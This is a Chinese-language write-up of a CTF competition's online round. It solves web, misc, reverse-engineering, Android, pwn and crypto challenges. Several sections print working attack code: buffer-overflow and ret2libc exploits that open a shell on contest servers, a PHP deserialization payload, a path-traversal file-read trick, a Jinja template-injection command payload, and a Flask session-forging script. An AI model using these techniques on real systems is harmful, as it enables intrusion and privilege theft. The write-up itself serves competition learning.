第十届御网杯网络安全大赛 网络安全赛 线上赛题解
第一次打这个比赛,感觉难度还行,加上 AI 应该能基本AK
我做的主要是PWN MISC RE,WEB和CRYPTO是队友做的
第二天的数据安全赛不知道是什么,没参加
WEB-Snake_Game
题目截图

解题思路
分析源码,注意到程序通过 checkWin(s) 来判断是否胜利,其中 s 对应的是分数,而达到 300 分才能获胜,所以在浏览器控制台修改 s 为大于 300 的值,然后调用 checkWin(s) 即可拿到 flag。
function checkWin(s) {
let formData = new FormData();
formData.append('score', s);
fetch('index.php', { method: 'POST', body: formData })
.then(r => r.json())
.then(data => {
let msgEl = document.getElementById('msg');
if(data.status === 'success') {
msgEl.style.color = '#2ecc71';
msgEl.innerText = data.flag;
} else {
msgEl.style.color = '#e74c3c';
msgEl.innerText = "Game Over! " + data.message;
}
});
}
s = 1111;
checkWin(s);

幻影
题目截图

解题思路
获取到题目给的压缩包,直接解压,得到一个 data.bin 文件。
使用 xxd 查看信息:
xxd data.bin
00000000: 5261 7221 1a07 0052 454d 454d 4245 523a Rar!...REMEMBER:
00000010: 2046 4c41 4720 4953 2048 4944 4445 4e20 FLAG IS HIDDEN
00000020: 494e 2042 4153 4536 3420 504c 5553 2058 IN BASE64 PLUS X
00000030: 4f52 210a 4641 4b45 2046 4c41 473a 2066 OR!.FAKE FLAG: f
00000040: 6c61 677b 3030 3030 3030 3030 2d30 3030 lag{00000000-000
00000050: 302d 3030 3030 2d30 3030 302d 3030 3030 0-0000-0000-0000
00000060: 3030 3030 3030 3030 7d0a 444f 204e 4f54 00000000}.DO NOT
00000070: 2054 5255 5354 2054 4849 5320 4f4e 452e TRUST THIS ONE.
00000080: 0a72 6165 7172 4c44 3738 766a 3638 766e .raeqrLD78vj68vn
00000090: 2b2b 7561 7671 662b 7435 762f 392b 2f33 ++uavqf+t5v/9+/3
000000a0: 6d38 7636 6f2b 6561 7672 2f75 702b 716a m8v6o+eavr/up+qj
000000b0: 382f 2f6d 742f 3636 32 8//mt/662
注意到其中有疑似密文的部分:
raeqrLD78vj68vn++uavqf+t5v/9+/3m8v6o+eavr/up+qj8//mt/662
由题目的提示:
REMEMBER: FLAG IS HIDDEN IN BASE64 PLUS XOR!
尝试爆破 XOR key 然后 base64 解码:
import base64
encoded = "raeqrLD78vj68vn++uavqf+t5v/9+/3m8v6o+eavr/up+qj8//mt/662"
decoded = base64.b64decode(encoded)
for key in range(256):
result = bytes(b ^ key for b in decoded)
if b'flag{' in result:
print(f"Key: 0x{key:02x} -> {result.decode()}")
爆破成功,得到题目截图中的 flag。
签到题-损坏的压缩包
题目截图

解题思路
下载附件得到压缩包,我是 macOS,直接解压就能得到 data.txt,不确定在其他平台是不是一样的。
data.txt 很明显是 base64,直接解码,然后提交:
flag{ndtg}
即可。

迷宫
题目截图

解题思路
下载附件,解压发现存在 data2.zip,继续解压,发现存在 hidden4.zip 继续解压,发现存在 .config 目录,打开,最终在 layer1/secret3/.config/user/backup5 发现 vault.bin 文件,查看内容:
strings vault.bin
YTQ4YWQxOTM4ZmY5MjE0NjIyNjkwYzAwOGVhZjkzMjM=34
很明显是 base64,解码得到 flag:
flag{a48ad1938ff9214622690c008eaf9323}

rerere
题目截图

解题思路
将文件放入 IDA 分析,在 strings 视图中发现 correct 和 wrong,使用交叉引用跳转到对应的函数。
sub_1400014FB(主逻辑):
__int64 sub_1400014FB()
{
Stream *Stream; // rax
Stream *Stream_1; // rax
int n38_1; // eax
int n38; // edx
int n38_2; // eax
char Buffer[16]; // [rsp+20h] [rbp-58h] BYREF
__int128 v7; // [rsp+30h] [rbp-48h]
__int128 v8; // [rsp+40h] [rbp-38h]
__int128 v9; // [rsp+50h] [rbp-28h]
sub_140001690();
*(_OWORD *)Buffer = 0;
v7 = 0;
v8 = 0;
v9 = 0;
sub_1400026F0("Input: ");
Stream = __acrt_iob_func(1u);
fflush(Stream);
Stream_1 = __acrt_iob_func(0);
fgets(Buffer, 64, Stream_1);
n38_1 = strlen(Buffer);
n38 = n38_1;
if ( n38_1 <= 0 )
goto LABEL_5;
n38_2 = n38_1 - 1;
if ( Buffer[n38_2] == 10 )
{
Buffer[n38_2] = 0;
n38 = n38_2;
}
if ( n38 == 38 && (unsigned int)sub_140001480(Buffer) )
puts("Correct!");
else
LABEL_5:
puts("Wrong!");
return 0;
}
注意到是一个 flag 验证程序,其中核心是 sub_140001480:
__int64 __fastcall sub_140001480(char *Buffer, int a2)
{
__int64 v2; // r8
if ( a2 <= 0 )
return 1;
v2 = 0;
while ( byte_140004060[(unsigned __int8)(Buffer[v2] ^ byte_140004048[v2 & 7])] == byte_140004020[v2] )
{
if ( ++v2 == a2 )
return 1;
}
return 0;
}
对其进行分析,得到公式:
flag[i] = inverse_table[expected[i]] ^ xor_key[i & 7]
在 IDA 中提取出对应的数据,然后编写解密脚本:
xor_key = bytes([0xB9, 0xCD, 0xCE, 0x30, 0xB8, 0x61, 0x4E, 0xAA])
expected = bytes([0xA3, 0x5B, 0x4C, 0x0A, 0x0E, 0xB8, 0xF4, 0xDA, 0x14, 0x75, 0x02, 0x3A, 0x8D, 0xE5, 0x77, 0xD5, 0xB1, 0x43, 0xAC, 0xA7, 0xB1, 0x49, 0xA5, 0x64, 0xD7, 0x96, 0x02, 0xA7, 0xB1, 0x79, 0x42, 0xB6, 0x53, 0x43, 0x43, 0x49, 0x5C, 0x6C])
table = bytes([0xC2, 0x23, 0x97, 0x49, 0x83, 0xF6, 0xD3, 0xA7, 0xEB, 0xBF, 0x78, 0xC3, 0x29, 0x56, 0xD2, 0x1A, 0x13, 0xBC, 0x21, 0x6A, 0x37, 0x8E, 0x5F, 0x0C, 0xB4, 0x46, 0xDE, 0xE4, 0x6C, 0xA2, 0x66, 0x30, 0x0F, 0xA4, 0xBB, 0x8C, 0x09, 0x4B, 0x3D, 0x32, 0x42, 0x55, 0x2D, 0x4F, 0xF9, 0x77, 0x1B, 0x74, 0x1F, 0x71, 0x7B, 0x9D, 0x73, 0xC4, 0xAB, 0xD0, 0xF3, 0xC1, 0x88, 0x07, 0xDC, 0xCE, 0xEF, 0xC0, 0x72, 0x4A, 0x27, 0x81, 0x9B, 0xEE, 0xC7, 0x28, 0x26, 0x5A, 0x94, 0x54, 0x70, 0xD1, 0xE9, 0xC8, 0x98, 0x36, 0x91, 0x41, 0xB8, 0x3A, 0x79, 0x0A, 0x08, 0xE5, 0xAF, 0x80, 0x24, 0xAE, 0x00, 0x19, 0xCC, 0x7A, 0xF7, 0x51, 0x7D, 0x69, 0xEC, 0x03, 0x65, 0x25, 0x1C, 0x01, 0xF5, 0xE6, 0xBD, 0xD9, 0x59, 0xFE, 0x92, 0xB0, 0x10, 0x6F, 0xF0, 0xE3, 0x9F, 0xAD, 0x84, 0xF4, 0xA5, 0x33, 0x35, 0x48, 0x53, 0xB1, 0xE0, 0xD8, 0x05, 0x38, 0x18, 0x68, 0xA9, 0x14, 0xC6, 0x3F, 0x61, 0x8A, 0x31, 0x3B, 0xBA, 0x2B, 0x4E, 0xE2, 0x57, 0x9A, 0xF1, 0xEA, 0x64, 0x7E, 0xA0, 0x93, 0xB6, 0xDA, 0x60, 0x2E, 0x1D, 0x5B, 0x82, 0x34, 0x6D, 0xFC, 0xCF, 0x7F, 0xE7, 0x96, 0x67, 0x43, 0x06, 0x44, 0xC9, 0x4C, 0x40, 0xDB, 0xFD, 0x4D, 0xB5, 0xED, 0x39, 0x2C, 0xB3, 0x17, 0x9E, 0xCD, 0xFA, 0x6B, 0xCA, 0x87, 0x8F, 0x9C, 0x89, 0x0E, 0x63, 0x45, 0x86, 0xAA, 0x5E, 0x95, 0x16, 0xC5, 0xD5, 0x2F, 0xA1, 0xF8, 0x99, 0xFF, 0x3C, 0x0D, 0x3E, 0xD4, 0x04, 0x76, 0xD7, 0x47, 0x20, 0x8D, 0xDF, 0x5C, 0x7C, 0xA3, 0x1E, 0x8B, 0x15, 0xB9, 0xA8, 0xCB, 0x22, 0xA6, 0x52, 0xD6, 0xFB, 0x5D, 0xDD, 0xB2, 0x6E, 0xE8, 0xF2, 0xE1, 0x2A, 0x58, 0x62, 0x12, 0x11, 0x50, 0x75, 0xB7, 0xAC, 0x90, 0x0B, 0x85, 0x02, 0xBE])
inv_table = [0] * 256
for i, v in enumerate(table):
inv_table[v] = i
flag = ''.join(chr(inv_table[expected[i]] ^ xor_key[i & 7]) for i in range(38))
print(flag)
运行得到题目截图的结果。

字节码迷踪
题目截图

解题思路
下载得到 py_obf_06.pyc 字节码文件,xxd 查看信息:
xxd py_obf_06.pyc
00000000: cb0d 0d0a 0000 0000 8a5e d269 2602 0000 .........^.i&...
00000010: e300 0000 0000 0000 0000 0000 0002 0000 ................
00000020: 0000 0000 00f3 3200 0000 9700 6400 6401 ......2.....d.d.
其中 cb0d 对应 Python 3.12,使用 3.12 + pycdc 反编译:
./pycdc/build/pycdc ./py_obf_06.pyc
# Source Generated with Decompyle++
# File: py_obf_06.pyc (Python 3.12)
import base64
def decrypt_flag(encoded_data, key):
Unsupported opcode: MAKE_CELL (225)
pass
# WARNING: Decompyle incomplete
def main():
encoded_flag = 'cHp3cW18ZCZ+JScuejtyZmN3O2MuY2I7ensjJDtieGNsYCVycXt6Z3Rr'
xor_key = 22
user_input = input('请输入flag: ').strip()
correct_flag = decrypt_flag(encoded_flag, xor_key)
if user_input == correct_flag:
print('正确!')
return None
print('错误!')
if __name__ == '__main__':
main()
return None
其中 decrypt_flag 没有反编译成功,使用 pycdas 得到字节码:
[Disassembly]
0 COPY_FREE_VARS 1
2 RETURN_GENERATOR
4 POP_TOP
6 RESUME 0
8 LOAD_FAST 0: .0
10 FOR_ITER 18 (to 48)
14 STORE_FAST 1: b
16 LOAD_GLOBAL 1: NULL + chr
26 LOAD_FAST 1: b
28 LOAD_DEREF 2: key
30 BINARY_OP 12 (^)
34 CALL 1
42 YIELD_VALUE 1
44 RESUME 1
46 POP_TOP
48 JUMP_BACKWARD 20 (to 10)
50 END_FOR
52 RETURN_CONST 0: None
54 CALL_INTRINSIC_1 3 (INTRINSIC_STOPITERATION_ERROR)
56 RERAISE 1
[Exception Table]
6 to 54 -> 54 [0] lasti
[Disassembly]
0 MAKE_CELL 1: key
2 RESUME 0
4 LOAD_GLOBAL 1: NULL + base64
14 LOAD_ATTR 2: b64decode
34 LOAD_FAST 0: encoded_data
36 CALL 1
44 STORE_FAST 2: decoded
46 LOAD_CONST 1: ''
48 LOAD_ATTR 5: join
68 LOAD_CLOSURE 1: key
70 BUILD_TUPLE 1
72 LOAD_CONST 2: <CODE> <genexpr>
74 MAKE_FUNCTION 8
76 LOAD_FAST 2: decoded
78 GET_ITER
80 CALL 0
88 CALL 1
96 RETURN_VALUE
对应的代码大概是:
def decrypt_flag(encoded_data, key):
decoded = base64.b64decode(encoded_data)
return ''.join(chr(b ^ key) for b in decoded)
编写对应的解密脚本:
import base64
encoded = 'cHp3cW18ZCZ+JScuejtyZmN3O2MuY2I7ensjJDtieGNsYCVycXt6Z3Rr'
key = 22
decoded = base64.b64decode(encoded)
flag = ''.join(chr(b ^ key) for b in decoded)
print(flag)
得到题目截图所示的 flag:flag{jr0h318l-dpua-u8ut-lm52-tnuzv3dgmlqb}

ChaCha20
题目截图

解题思路
下载得到一个 APK。
使用 jadx 对 APK 进行分析,发现 MainActivity 中有:
static {
System.loadLibrary("myapplication");
}
并且存在很多类似的函数:
private void bc(View anchor) {
String candidate = this.inputFlag.getText().toString();
boolean ok = NativeBridge.ab(candidate);
if (ok) {
startActivity(new Intent(this, (Class<?>) SuccessActivity.class));
} else {
Snackbar.make(anchor, "flag错误", -1).show();
}
}
所以实际上的逻辑应该在 so 层,而非 Java,提取出 myapplication.so 然后放入 IDA 分析。
在 JNI_OnLoad 中,调用了 sub_25010,其中注册了 3 个方法:
int __cdecl JNI_OnLoad(_JavaVM *a1)
{
_JNIEnv *v3[3]; // [esp+1Ch] [ebp-Ch] BYREF
v3[1] = (_JNIEnv *)__readgsdword(0x14u);
v3[0] = 0;
if ( _JavaVM::GetEnv(a1, (void **)v3, (int)"ceE") )
return -1;
if ( sub_25010(v3[0]) )
return -1;
return (int)"ceE";
}
int __cdecl sub_25010(_JNIEnv *a1)
{
int Class; // [esp+1Ch] [ebp-Ch]
Class = _JNIEnv::FindClass(a1, "com/cr/myapplication/NativeBridge");
if ( !Class )
return -1;
if ( (int)_JNIEnv::RegisterNatives(
a1,
Class,
off_571B4, // "a"
3) >= 0 )
return 0;
return -1;
}
注册表:
.data.rel.ro:000571B4 off_571B4 dd offset aA ; DATA XREF: sub_25010+50↑o
.data.rel.ro:000571B4 ; "a"
.data.rel.ro:000571B8 dd offset aBB ; "([B)[B"
.data.rel.ro:000571BC dd offset sub_250B0
.data.rel.ro:000571C0 dd offset aB ; "b"
.data.rel.ro:000571C4 dd offset aBB ; "([B)[B"
.data.rel.ro:000571C8 dd offset sub_251F0
.data.rel.ro:000571CC dd offset aC ; "c"
.data.rel.ro:000571D0 dd offset aLjavaLangStrin ; "(Ljava/lang/String;)Z"
.data.rel.ro:000571D4 dd offset sub_25330
查看这几个方法,在 c 函数即 sub_25330 中发现核心逻辑:
- 获取 Java 层传入的字符串
- 调用
sub_25740对输入做 ChaCha20 流密码加密 - 调用
sub_27530将加密结果做 hex 编码 - 与预设目标值比对,匹配则返回
true
ChaCha 核心算法在 sub_26CC0,被 sub_25740 调用:
unsigned int __cdecl sub_26CC0(int a1, int a2, int a3, int a4)
{
int j; // [esp+14h] [ebp-A4h]
int i; // [esp+18h] [ebp-A0h]
_DWORD v7[16]; // [esp+2Ch] [ebp-8Ch] BYREF
_DWORD expand_32_byte_k[19]; // [esp+6Ch] [ebp-4Ch] BYREF
expand_32_byte_k[16] = __readgsdword(0x14u);
qmemcpy(expand_32_byte_k, "expand 32-byte k", 16);
expand_32_byte_k[4] = sub_27160(a1);
expand_32_byte_k[5] = sub_27160(a1 + 4);
expand_32_byte_k[6] = sub_27160(a1 + 8);
expand_32_byte_k[7] = sub_27160(a1 + 12);
expand_32_byte_k[8] = sub_27160(a1 + 16);
expand_32_byte_k[9] = sub_27160(a1 + 20);
expand_32_byte_k[10] = sub_27160(a1 + 24);
expand_32_byte_k[11] = sub_27160(a1 + 28);
expand_32_byte_k[12] = a2;
expand_32_byte_k[13] = sub_27160(a3);
expand_32_byte_k[14] = sub_27160(a3 + 4);
expand_32_byte_k[15] = sub_27160(a3 + 8);
__memcpy_chk(v7, expand_32_byte_k, 64, 64);
for ( i = 0; i < 10; ++i )
{
sub_271A0(v7, &v7[4], &v7[8], &v7[12]);
sub_271A0(&v7[1], &v7[5], &v7[9], &v7[13]);
sub_271A0(&v7[2], &v7[6], &v7[10], &v7[14]);
sub_271A0(&v7[3], &v7[7], &v7[11], &v7[15]);
sub_271A0(v7, &v7[5], &v7[10], &v7[15]);
sub_271A0(&v7[1], &v7[6], &v7[11], &v7[12]);
sub_271A0(&v7[2], &v7[7], &v7[8], &v7[13]);
sub_271A0(&v7[3], &v7[4], &v7[9], &v7[14]);
}
for ( j = 0; j < 16; ++j )
{
v7[j] += expand_32_byte_k[j];
sub_272B0(4 * j + a4, v7[j]);
}
return __readgsdword(0x14u);
}
从其中提取数据,得到:
Key: 14 92 63 a1 6f 2d 89 cb f0 37 5b 1c a9 4e 78 d3 22 60 17 ee 9a bc 4d 08 53 e1 76 2a 8d c4 90 3f
Nonce: 44 33 22 11 ab cd ef 66 88 99 aa 55
Counter: 1
接下来寻找预设值 &off_58EF0 + 1183。在 sub_24BE0 找到了密文:
int sub_24BE0()
{
Elf32_Dyn **v1; // [esp+20h] [ebp-18h]
std::string::basic_string[abi:v170000]<decltype(nullptr)>(obj, (int)"d097c3f6d2238172e871ee74bca5859f88178f6e");
v1 = &off_58EF0 + 1186;
do
{
sub_24E40(v1);
v1 += 3;
}
while ( v1 != &off_58EF0 + 1207 );
return __cxa_atexit((void (*)(void *))std::array<std::string,8u>::~array, obj, &lpdso_handle_);
}
接下来按照数据在 CyberChef 解密即可。

PWN-Authenticate
题目截图

解题思路
把程序放入 IDA 分析,注意到存在函数:
int login()
{
_BYTE v1[64]; // [rsp+0h] [rbp-80h] BYREF
char buf[64]; // [rsp+40h] [rbp-40h] BYREF
puts("=== Welcome to SecureAuth System ===");
printf("Username: ");
read(0, buf, 0x40u);
printf("Password: ");
gets(v1);
if ( !strcmp(buf, "admin") )
return puts("Access Denied: Admin login is disabled.");
else
return puts("Invalid credentials.");
}
int backdoor()
{
return system("/bin/sh");
}
checksec 结果:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No
所以只需要溢出 v1,然后调用 backdoor 就行了,由于是 64 位程序,所以还需要栈对齐,使用 ROPgadget 找一个 ret 就行了:
# ROPgadget found
0x000000000040101a : ret
exp:
from pwn import *
p = remote("120.27.146.76", 27262)
payload = b'a' * (64 + 64 + 8) + p64(0x40101a) + p64(0x4011f6)
p.sendlineafter("Username: ", b"admin")
p.sendlineafter("Password: ", payload)
p.interactive()

PWN-NoteService
题目截图

解题思路
先 checksec:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
只开了 NX。
丢 IDA 分析,发现存在函数:
int vuln()
{
_BYTE buf[64]; // [rsp+0h] [rbp-40h] BYREF
puts("=== Note Service ===");
puts("Leave your note:");
read(0, buf, 0x100u);
return puts("Note saved. Thank you!");
}
int secret_note()
{
return system("/bin/sh");
}
因为 read 读 0x100,而溢出只需要 64 + 8 = 72,所以可以直接溢出,但同样要进行栈对齐,使用 ROPgadget 找一个 ret 就行了:
# ROPgadget found
0x000000000040101a : ret
exp:
from pwn import *
ret_gadget = 0x40101a
secret_note = 0x401196
offset = 72
payload = b'A' * offset
payload += p64(ret_gadget)
payload += p64(secret_note)
p = remote('120.27.146.76', 24028)
p.sendlineafter("Leave your note:", payload)
p.interactive()

PWN-MessageBoard
题目截图

解题思路
没看见题目提示说可以用 ret2shellcode,我用的 ret2libc。
丢 IDA 分析发现漏洞函数:
int vuln()
{
_BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF
puts("=== Message Board ===");
puts("Leave your message below:");
printf("Buffer at: %p\n", buf);
printf("Message: ");
read(0, buf, 0x100u);
return puts("Thank you for your message!");
}
使用 ROPgadget 找 gadget:
0x00000000004012c3 : pop rdi ; ret
0x000000000040101a : ret
然后泄露 libc 地址,使用 libcdb 找对应的 libc,然后就可以 getshell 了。
exp:
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
elf = ELF('./vuln')
pop_rdi = 0x4012c3
ret = 0x40101a
offset = 0x80 + 8
def exploit(p):
p.sendafter(b'Message: ', flat(
b'A' * offset,
pop_rdi, elf.got['puts'], elf.plt['puts'], elf.symbols['vuln'],
))
data = p.recvuntil(b'Message: ')
marker = b'Thank you for your message!\n'
idx = data.find(marker)
leaked = data[idx + len(marker):idx + len(marker) + 6]
puts_libc = u64(leaked.ljust(8, b'\x00'))
log.success(f'puts@libc: {hex(puts_libc)}')
matches = libcdb.search_by_symbol_offsets({'puts': puts_libc}, return_raw=True)
match = next(m for m in matches if 'i386' not in m['id'])
s = match['symbols']
libc_base = puts_libc - int(s['puts'], 16)
system = libc_base + int(s['system'], 16)
bin_sh = libc_base + int(s['str_bin_sh'], 16)
log.success(f'libc: {match["id"]}')
p.send(flat(
b'A' * offset, ret, pop_rdi, bin_sh, system,
))
p.recvuntil(b'Thank you for your message!\n')
p.interactive()
p = remote('47.99.147.34', 26052)
exploit(p)

DES加密验证
题目截图

解题思路
丢 jadx 分析,发现 MainActivity 中存在:
public static native boolean verifyFlag(String str);
static {
System.loadLibrary("crackme2");
}
说明 verifyFlag 肯定是在 so 层的,提取出来,丢 IDA 分析。
找到对应的函数:
int __cdecl verifyFlag(int a1, int a2, int a3)
{
int i_1; // [esp+10h] [ebp-68h]
int i; // [esp+30h] [ebp-48h]
unsigned __int8 v6; // [esp+37h] [ebp-41h]
unsigned __int8 *ptr_1; // [esp+40h] [ebp-38h]
unsigned __int8 *ptr; // [esp+44h] [ebp-34h]
int StringUTFChars; // [esp+4Ch] [ebp-2Ch]
unsigned __int8 v10[12]; // [esp+58h] [ebp-20h] BYREF
size_t size; // [esp+64h] [ebp-14h] BYREF
char v12; // [esp+6Bh] [ebp-Dh] BYREF
unsigned int v13; // [esp+6Ch] [ebp-Ch]
v13 = __readgsdword(0x14u);
__android_log_print(4, "51asm", &unk_E0CD);
v12 = 0;
StringUTFChars = _JNIEnv::GetStringUTFChars(a1, a3, &v12);
i_1 = __strlen_chk(StringUTFChars, -1);
__android_log_print(4, "51asm", &unk_E911);
size = 0;
ptr = sub_24440(StringUTFChars, i_1, &size);
ptr_1 = (unsigned __int8 *)malloc(size);
des_ecb_encrypt(ptr, size, "12345678", ptr_1);
bytesToHex(v10, (int)ptr);
sub_23DC0((int)v10);
__android_log_print(6, "51asm", &unk_D5BF);
v6 = 0;
for ( i = 0; i < 1; ++i )
{
if ( (sub_24510((int)&unk_58010 + 12 * i, (int)v10) & 1) != 0 )
{
__android_log_print(4, "51asm", &unk_CCD8);
v6 = 1;
break;
}
}
if ( !v6 )
__android_log_print(4, "51asm", &unk_D5E2);
free(ptr);
free(ptr_1);
_JNIEnv::ReleaseStringUTFChars(a1, a3, StringUTFChars);
std::string::~string(v10);
return v6;
}
发现其中 bytesToHex() 使用的不是 DES 加密后的结果,而是 ptr,即 sub_24440() 的结果,分析:
_BYTE *__cdecl sub_24440(int StringUTFChars, int i_1, size_t *p_size)
{
signed int i; // [esp+20h] [ebp-28h]
_BYTE *v5; // [esp+24h] [ebp-24h]
int v6; // [esp+28h] [ebp-20h]
v6 = 8 - i_1 % 8;
*p_size = v6 + i_1;
v5 = malloc(*p_size);
__memcpy_chk(v5, StringUTFChars, i_1, -1);
for ( i = i_1; i < (int)*p_size; ++i )
v5[i] = v6;
return v5;
}
就是单纯的填充,接下来找密文,把密文的填充去掉,就是 bytesToHex 的 hex 了,再转成 bytes 应该就行了。
它比较的是 &unk_58010 + 12 * i,直接找 unk_58010,发现它未被赋值,使用交叉引用找到赋值的位置:
int sub_23DF0()
{
std::string::basic_string[abi:v170000]<decltype(nullptr)>(
&unk_58010,
"666c61677b484e435446716b736d7a646a6b7331484e437d0808080808080808");
return __cxa_atexit((void (*)(void *))sub_23EB0, 0, &lpdso_handle_);
}
去掉 hex 的后面的 08,然后 fromhex 就行了:
flag{HNCTFqksmzdjks1HNC}

ECDSA nonce 重用
题目截图


解题思路
-
明确ECDSA的逻辑
(r,s)就是ECDSA的签名结果
而: r=(k×G).x mod n
s=k⁻¹×(z+r×d)mod n
其中,k是随机的,json文件中,也给了我们两组数据:

根据题目,我们正是要解出这个私钥d,得到我们的flag
信息中,r1和r2相等,又根据公式,其中G 是固定,故r完全由k决定,所以也意味着两组数据所使用的随机数是相等的,即k1=k2,这正好和题目所说的错误使用相同的k的漏洞一致。现在目的很明确,就是解出d;
2.求解结果
所以有了两个方程:
方程1:s₁=k⁻¹×(z₁+r×d)mod n
方程2:s₂=k⁻¹×(z₂+r×d)mod n
相减之后得到;k=(z₁- z₂)×(s₁- s₂)⁻¹
其中k和d是未知数,z是消息哈希后的结果,那么我们就先算出z的值

得到z1和z2

运算就能得到d;

d=29644667807459325735366243332345699361269301712319246391426326776471490316948
3.拼接flag
经过多次尝试,需要将d转化为16进制,取前32位,按照题目拼接就得到了flag
BabyRSA
题目截图


解题思路
-
打开task.py
里面有加密的关键代码:

也就是说这是一个RSA的题
知道公钥(n, e),正常想要解密是需要私钥d的,但是我们得不到私钥,思考一下RSA的主要攻击,看到e=3,很小,很轻松联想到模幂攻击中的低指数攻击:m³还没n大,所以可能c = m³;
这里再对数据进行验证;
在output.txt文件中得到n和c的值:
n= = 136238405307924515512378856772562894923724983292644394319455090793569064535428971167723826777880207821677002102052186812193351396113507042750370526325409401617510124862861936738060469365245134210182402881106296377417260805705510846637277333145361375000367958125839993553757529064621914269601491419658308077993
c=
2217344750801072769227980025229555865302080734360476232467414409766993119121773815817906128379962987164528966405652073877892124009630128576283580662615213234351328139016851556250077344234096015405727293595866841156224044624068489439288012980068530098531233390786075466432357
c远远小于n,也就是说; m³ = c
-
然后用python脚本对他开立方

-
最终得到flag

WEB-PHP_Payment
题目截图
网站页面:

题目源码:

解题思路
- 在所给源码中的apply_coupon.php中,发现关键点:

会将输入的进行base64解密,然后再进行反序列化,初步考虑存在反序列化漏洞,之后又在model.php中发现了触发方法:

所以构建一个payload:
O:12:“PromoManager”:2:{s:12:“promo_credit”;i:99999;s:10:“promo_code”;s:1:“x”;}
然后进行反序列化后为:
TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6OTk5OTk7czoxMDoicHJvbW9fY29kZSI7czoxOiJ4Ijt9
- 利用burpsuite进行抓包,然后更改数据包,来实现利用这个漏洞获取flag
首先先直接抓取http://120.27.146.76:17846/index.php这个的数据包,获得token:

然后直接在页面里面输入payload

刷新后发现余额成功改变!
然后直接抓取获取的包,然后就可以在bp的相应里面,找到flag

WEB-Enterprise_OA
题目截图

解题思路
-
首先根据题目的提示,就可以思考这是一个路径穿越问题,很轻易地就发现这里面的参数是module
-
?module=php://filter/convert.base64-encode/resource=index.php
传入这个值,利用php的伪协议来读取index.php的源码,结果返回的是一串base64编码后的结果,用base64解码过后,就可以看到关键的源码


从这里两个代码就可以看出,包含了module,可以通过这个路径来获得flag,并且这里过滤的是…/
所以我们这里用…//来绕过这个过滤
传入?module=…//…//…//flag.txt即可获取flag

WEB-TaxSystem_SSTI
题目截图


解题思路
- 直接在源码里面找到了密码:admin/123456,所以直接登录即可

- 因为题目直接提示了存在是SSTI注入,并且返回了config信息,尝试注入点

创建成功并解析,然后直接用fenjing工具来跑,最终的paylaod为:
{%print (lipsum.__eq__['__g''lobals__'].sys.modules['o''s']['po''pen']('*galf/ tac'[::-1]))['r''ead']()%}
- 最终运行一下python脚本,获得flag
import html
import re
import subprocess
import sys
import requests
TARGET = "http://120.27.146.76:12671"
s = requests.Session()
def step(name, fn):
print(f"[{name}] ", end="", flush=True)
try:
result = fn()
print("OK")
return result
except Exception as e:
print(f"FAILED: {e}")
sys.exit(1)
step("Login admin/123456", lambda: (
s.post(f"{TARGET}/login",
data={"username": "admin", "password": "123456"},
allow_redirects=False)
))
step("Create profile", lambda: (
s.post(f"{TARGET}/api/create_profile", allow_redirects=False)
))
step("Inject SSTI payload", lambda: (
s.post(f"{TARGET}/api/import", json={
"profile_id": 1,
"data": {
"state": "AUDIT_PENDING",
"custom_footer": "{{config}}"
}
})
))
print("[*] Triggering SSTI at /preview/1 ...")
r = s.get(f"{TARGET}/preview/1")
if r.status_code != 200:
print(f"FAILED: preview returned {r.status_code}")
print(r.text[:500])
sys.exit(1)
decoded = html.unescape(r.text)
flag_in_profile = re.search(r'flag\{[^}]+\}', decoded)
if flag_in_profile:
print(f"[+] FLAG found in profile: {flag_in_profile.group(0)}")
match = re.search(r"SECRET_KEY':\s*'([^']+)'", decoded)
if not match:
print("FAILED: could not find SECRET_KEY")
print("Decoded excerpt:")
print(decoded[:2000])
sys.exit(1)
secret_key = match.group(1)
print(f"[*] SECRET_KEY = {secret_key}")
print("[*] Forging session cookie ...")
result = subprocess.run(
["conda", "run", "-n", "tax-ssti", "flask-unsign", "--sign",
"--cookie", "{'user_id': 1, 'role': 'tax_inspector'}",
"--secret", secret_key],
capture_output=True, text=True
)
if result.returncode != 0:
print(f"FAILED: flask-unsign error: {result.stderr}")
sys.exit(1)
forged_cookie = result.stdout.strip()
print(f"[*] Forged cookie: {forged_cookie[:60]}...")
print("[*] Accessing /admin/vault ...")
r = requests.get(f"{TARGET}/admin/vault",
cookies={"session": forged_cookie})
match = re.search(r'flag\{[^}]+\}', r.text)
if match:
print(f"\n[+] FLAG from admin vault: {match.group(0)}")
else:
print("No flag in /admin/vault (maybe already captured above)")

更多推荐


所有评论(0)